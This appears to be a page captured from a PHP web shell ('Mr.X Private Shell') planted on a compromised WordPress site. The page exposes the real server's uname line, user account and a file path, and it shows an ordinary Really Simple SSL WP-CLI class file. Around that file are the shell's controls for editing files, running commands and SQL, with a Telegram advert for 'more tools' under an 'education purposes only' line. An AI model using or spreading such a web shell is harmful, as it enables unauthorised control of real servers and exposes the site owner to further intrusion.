Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///old/wp-content/plugins/really-simple-ssl      ( Reset | Go to )
File Name: class-rsssl-wp-cli.php
Edit
<?php

defined
('ABSPATH') or die("you do not have access to this page!");

    class 
rsssl_wp_cli
    
{

        public function 
__construct()
        {

        }

        public function 
activate_ssl()
        {
            
RSSSL()->really_simple_ssl->activate_ssl();
            
WP_CLI::success'SSL activated' );

        }

        public function 
deactivate_ssl()
        {
            
RSSSL()->really_simple_ssl->deactivate_ssl();
            
WP_CLI::success'SSL deactivated' );
        }

    }
//Class closure

    
WP_CLI::add_command'rsssl''rsssl_wp_cli' );

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL